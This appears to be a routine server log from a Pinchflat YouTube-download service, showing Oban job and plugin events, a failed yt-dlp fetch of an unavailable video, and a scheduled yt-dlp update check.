{"args":{"id":89337},"id":2625,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":3087511,"event":"job:stop","queue_time":611044,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 11:00:36.688 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=2obOY-T_uog --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/c3/3c/c33c339d35fd7248a6ed6a958ef5d5f17f853c50e4b7bd75635f04e064e56b07.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] 2obOY-T_uog: Video unavailable 11:00:36.688 [error] yt-dlp download error for media item #20219: "ERROR: [youtube] 2obOY-T_uog: Video unavailable\n" 11:00:36.688 [error] yt-dlp download will not be retried: "ERROR: [youtube] 2obOY-T_uog: Video unavailable\n" 11:00:36.689 [info] {"args":{"id":20219},"id":2624,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":5076395,"event":"job:stop","queue_time":611044,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 11:00:57.777 [info] {"source":"oban","duration":1453,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:01:00.800 [info] {"source":"oban","duration":246,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:01:27.779 [info] {"source":"oban","duration":1044,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:01:57.781 [info] {"source":"oban","duration":1181,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:02:00.801 [info] {"source":"oban","duration":279,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:02:27.783 [info] {"source":"oban","duration":1313,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:02:57.785 [info] {"source":"oban","duration":1104,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:03:00.802 [info] {"source":"oban","duration":430,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:03:27.787 [info] {"source":"oban","duration":1113,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:03:57.789 [info] {"source":"oban","duration":1168,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:04:00.803 [info] {"source":"oban","duration":366,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:04:27.791 [info] {"source":"oban","duration":1140,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:04:57.792 [info] {"source":"oban","duration":965,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:05:00.804 [info] {"source":"oban","duration":305,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:05:27.795 [info] {"source":"oban","duration":1304,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:05:57.797 [info] {"source":"oban","duration":1517,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:06:00.805 [info] {"source":"oban","duration":375,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:06:27.799 [info] {"source":"oban","duration":1320,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:06:57.801 [info] {"source":"oban","duration":1321,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:07:00.806 [info] {"source":"oban","duration":366,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:07:27.803 [info] {"source":"oban","duration":1328,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:07:57.805 [info] {"source":"oban","duration":1346,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:08:00.807 [info] {"source":"oban","duration":372,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:08:27.807 [info] {"source":"oban","duration":1350,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:08:57.809 [info] {"source":"oban","duration":1521,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:09:00.808 [info] {"source":"oban","duration":438,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:09:27.811 [info] {"source":"oban","duration":1440,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:09:57.813 [info] {"source":"oban","duration":1489,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:10:00.809 [info] {"source":"oban","duration":395,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:10:27.815 [info] {"source":"oban","duration":1434,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:10:57.817 [info] {"source":"oban","duration":1367,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:11:00.810 [info] {"source":"oban","duration":250,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:11:27.819 [info] {"source":"oban","duration":1231,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:11:57.821 [info] {"source":"oban","duration":1149,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:12:00.811 [info] {"source":"oban","duration":269,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:12:27.823 [info] {"source":"oban","duration":1046,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:12:57.825 [info] {"source":"oban","duration":1293,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:13:00.812 [info] {"source":"oban","duration":450,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:13:27.827 [info] {"source":"oban","duration":1017,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:13:57.829 [info] {"source":"oban","duration":1472,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:14:00.813 [info] {"source":"oban","duration":368,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:14:27.831 [info] {"source":"oban","duration":1458,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:14:57.833 [info] {"source":"oban","duration":1562,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:15:00.814 [info] {"source":"oban","duration":304,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:15:27.835 [info] {"source":"oban","duration":1554,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:15:57.837 [info] {"source":"oban","duration":1351,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:16:00.815 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:16:27.839 [info] {"source":"oban","duration":1555,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:16:57.841 [info] {"source":"oban","duration":1517,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:17:00.816 [info] {"source":"oban","duration":376,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:17:27.843 [info] {"source":"oban","duration":1102,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:17:57.845 [info] {"source":"oban","duration":1240,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:18:00.817 [info] {"source":"oban","duration":402,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:18:27.847 [info] {"source":"oban","duration":1255,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:18:57.849 [info] {"source":"oban","duration":1171,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:19:00.818 [info] {"source":"oban","duration":253,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:19:27.851 [info] {"source":"oban","duration":1179,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:19:57.853 [info] {"source":"oban","duration":1218,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:20:00.819 [info] {"source":"oban","duration":337,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:20:27.855 [info] {"source":"oban","duration":1113,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:20:57.857 [info] {"source":"oban","duration":1019,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:21:00.820 [info] {"source":"oban","duration":425,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:21:27.859 [info] {"source":"oban","duration":1382,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:21:57.861 [info] {"source":"oban","duration":1015,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:22:00.821 [info] {"source":"oban","duration":404,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:22:27.863 [info] {"source":"oban","duration":1401,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:22:57.865 [info] {"source":"oban","duration":1539,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:23:00.822 [info] {"source":"oban","duration":293,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:23:27.867 [info] {"source":"oban","duration":1356,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:23:57.869 [info] {"source":"oban","duration":1126,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:24:00.823 [info] {"source":"oban","duration":363,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:24:27.871 [info] {"source":"oban","duration":1355,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:24:57.873 [info] {"source":"oban","duration":1417,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:25:00.824 [info] {"source":"oban","duration":418,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:25:27.875 [info] {"source":"oban","duration":1422,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:25:57.877 [info] {"source":"oban","duration":1337,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:26:00.825 [info] {"source":"oban","duration":472,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:26:27.879 [info] {"source":"oban","duration":1226,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:26:57.881 [info] {"source":"oban","duration":1273,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:27:00.826 [info] {"source":"oban","duration":341,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:27:27.883 [info] {"source":"oban","duration":1487,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:27:57.885 [info] {"source":"oban","duration":1115,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:28:00.827 [info] {"source":"oban","duration":314,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:28:27.887 [info] {"source":"oban","duration":1135,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:28:57.889 [info] {"source":"oban","duration":1269,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:29:00.828 [info] {"source":"oban","duration":342,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:29:27.891 [info] {"source":"oban","duration":1208,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:29:57.893 [info] {"source":"oban","duration":1036,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:30:00.829 [info] {"source":"oban","duration":238,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:30:27.895 [info] {"source":"oban","duration":1123,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:30:57.897 [info] {"source":"oban","duration":1543,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:31:00.830 [info] {"source":"oban","duration":357,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:31:27.899 [info] {"source":"oban","duration":1264,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:31:57.901 [info] {"source":"oban","duration":1016,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:32:00.831 [info] {"source":"oban","duration":366,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:32:27.903 [info] {"source":"oban","duration":1462,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:32:57.905 [info] {"source":"oban","duration":1297,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:33:00.832 [info] {"source":"oban","duration":367,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:33:27.907 [info] {"source":"oban","duration":1304,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:33:57.909 [info] {"source":"oban","duration":1367,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:34:00.833 [info] {"source":"oban","duration":412,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:34:27.911 [info] {"source":"oban","duration":1351,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:34:57.913 [info] {"source":"oban","duration":1520,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:35:00.834 [info] {"source":"oban","duration":535,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:35:27.915 [info] {"source":"oban","duration":1307,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:35:57.917 [info] {"source":"oban","duration":1563,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:36:00.835 [info] {"source":"oban","duration":311,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:36:27.919 [info] {"source":"oban","duration":1285,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:36:57.921 [info] {"source":"oban","duration":1384,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:37:00.836 [info] {"source":"oban","duration":322,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:37:27.923 [info] {"source":"oban","duration":1274,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:37:57.925 [info] {"source":"oban","duration":1106,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:38:00.837 [info] {"source":"oban","duration":351,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:38:27.927 [info] {"source":"oban","duration":1034,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:38:57.929 [info] {"source":"oban","duration":1010,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:39:00.838 [info] {"source":"oban","duration":353,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:39:27.931 [info] {"source":"oban","duration":1492,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:39:57.933 [info] {"source":"oban","duration":1528,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:40:00.839 [info] {"source":"oban","duration":290,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:40:27.935 [info] {"source":"oban","duration":1220,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:40:57.937 [info] {"source":"oban","duration":1384,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:41:00.840 [info] {"source":"oban","duration":375,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:41:27.939 [info] {"source":"oban","duration":1160,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:41:57.941 [info] {"source":"oban","duration":1203,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:42:00.842 [info] {"source":"oban","duration":1761,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[2627]} 11:42:00.849 [info] {"args":{},"id":2627,"meta":{"cron":true,"cron_expr":"42 18 * * *","cron_tz":"Etc/UTC"},"system_time":1765651320849743826,"max_attempts":20,"queue":"local_data","worker":"Pinchflat.YtDlp.UpdateWorker","source":"oban","event":"job:start","attempt":1,"tags":["local_data"]} 11:42:00.850 [info] Updating yt-dlp 11:42:00.850 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: --update 11:42:02.579 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: --update exited: 0 with: Latest version: stable@2025.12.08 from yt-dlp/yt-dlp yt-dlp is up to date (stable@2025.12.08 from yt-dlp/yt-dlp) 11:42:02.579 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: --version 11:42:03.995 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: --version exited: 0 with: 2025.12.08 11:42:03.996 [debug] QUERY OK source="settings" db=0.4ms idle=1352.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:42:03.997 [info] {"args":{},"id":2627,"meta":{"cron":true,"cron_expr":"42 18 * * *","cron_tz":"Etc/UTC"},"state":"success","max_attempts":20,"queue":"local_data","worker":"Pinchflat.YtDlp.UpdateWorker","source":"oban","duration":3146774,"event":"job:stop","queue_time":848112,"attempt":1,"tags":["local_data"]} 11:42:27.943 [info] {"source":"oban","duration":1254,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:42:57.945 [info] {"source":"oban","duration":1445,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:43:00.844 [info] {"source":"oban","duration":312,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:43:27.947 [info] {"source":"oban","duration":1571,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:43:57.949 [info] {"source":"oban","duration":1344,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:44:00.845 [info] {"source":"oban","duration":325,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:44:27.951 [info] {"source":"oban","duration":1196,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:44:57.953 [info] {"source":"oban","duration":1027,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:45:00.846 [info] {"source":"oban","duration":317,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:45:27.955 [info] {"source":"oban","duration":1438,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:45:57.957 [info] {"source":"oban","duration":1168,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:46:00.847 [info] {"source":"oban","duration":329,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:46:27.959 [info] {"source":"oban","duration":918,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:46:57.961 [info] {"source":"oban","duration":1081,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:47:00.848 [info] {"source":"oban","duration":399,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:47:27.963 [info] {"source":"oban","duration":1295,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:47:57.965 [info] {"source":"oban","duration":1398,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:48:00.849 [info] {"source":"oban","duration":438,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:48:27.967 [info] {"source":"oban","duration":1417,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:48:57.969 [info] {"source":"oban","duration":1387,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:49:00.850 [info] {"source":"oban","duration":326,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:49:27.971 [info] {"source":"oban","duration":1350,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:49:57.973 [info] {"source":"oban","duration":1425,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:50:00.851 [info] {"source":"oban","duration":357,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:50:27.975 [info] {"source":"oban","duration":1289,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:50:57.977 [info] {"source":"oban","duration":1287,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:51:00.852 [info] {"source":"oban","duration":363,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:51:27.979 [info] {"source":"oban","duration":1257,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:51:57.981 [info] {"source":"oban","duration":1431,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:52:00.853 [info] {"source":"oban","duration":395,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:52:27.983 [info] {"source":"oban","duration":1318,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:52:57.985 [info] {"source":"oban","duration":1258,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:53:00.854 [info] {"source":"oban","duration":279,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:53:27.987 [info] {"source":"oban","duration":1007,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:53:57.989 [info] {"source":"oban","duration":1157,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:54:00.855 [info] {"source":"oban","duration":255,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:54:27.991 [info] {"source":"oban","duration":981,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:54:57.992 [info] {"source":"oban","duration":950,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:55:00.856 [info] {"source":"oban","duration":153,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:55:27.995 [info] {"source":"oban","duration":957,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:55:57.997 [info] {"source":"oban","duration":972,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:56:00.857 [info] {"source":"oban","duration":436,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:56:27.999 [info] {"source":"oban","duration":1471,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:56:58.001 [info] {"source":"oban","duration":1521,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:57:00.858 [info] {"source":"oban","duration":370,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:57:28.003 [info] {"source":"oban","duration":1437,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:57:58.004 [info] {"source":"oban","duration":925,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:58:00.859 [info] {"source":"oban","duration":377,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:58:28.006 [info] {"source":"oban","duration":930,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:58:58.009 [info] {"source":"oban","duration":1454,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:59:00.860 [info] {"source":"oban","duration":283,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:59:28.011 [info] {"source":"oban","duration":1500,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:59:58.013 [info] {"source":"oban","duration":1344,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:00:00.861 [info] {"source":"oban","duration":425,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:00:28.015 [info] {"source":"oban","duration":1241,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:00:58.017 [info] {"source":"oban","duration":1113,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:01:00.862 [info] {"source":"oban","duration":310,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:01:28.019 [info] {"source":"oban","duration":1148,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:01:58.021 [info] {"source":"oban","duration":1187,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:02:00.863 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:02:28.023 [info] {"source":"oban","duration":1110,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:02:58.025 [info] {"source":"oban","duration":1168,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:03:00.864 [info] {"source":"oban","duration":286,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:03:28.027 [info] {"source":"oban","duration":1432,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:03:58.029 [info] {"source":"oban","duration":993,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:04:00.865 [info] {"source":"oban","duration":331,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:04:28.031 [info] {"source":"oban","duration":1047,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:04:58.033 [info] {"source":"oban","duration":1372,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:05:00.866 [info] {"source":"oban","duration":387,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:05:28.035 [info] {"source":"oban","duration":1459,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:05:58.037 [info] {"source":"oban","duration":1515,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:06:00.867 [info] {"source":"oban","duration":440,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:06:28.039 [info] {"source":"oban","duration":1567,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:06:58.041 [info] {"source":"oban","duration":1533,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:07:00.868 [info] {"source":"oban","duration":400,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:07:28.043 [info] {"source":"oban","duration":1326,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:07:58.045 [info] {"source":"oban","duration":1059,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:08:00.869 [info] {"source":"oban","duration":293,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:08:28.047 [info] {"source":"oban","duration":1268,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:08:58.049 [info] {"source":"oban","duration":1074,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:09:00.870 [info] {"source":"oban","duration":337,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:09:28.051 [info] {"source":"oban","duration":1472,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:09:58.053 [info] {"source":"oban","duration":1002,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:10:00.871 [info] {"source":"oban","duration":405,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:10:28.055 [info] {"source":"oban","duration":1155,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:10:58.057 [info] {"source":"oban","duration":1148,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:11:00.872 [info] {"source":"oban","duration":247,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:11:28.058 [info] {"source":"oban","duration":960,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:11:58.061 [info] {"source":"oban","duration":1091,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:12:00.873 [info] {"source":"oban","duration":394,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:12:28.063 [info] 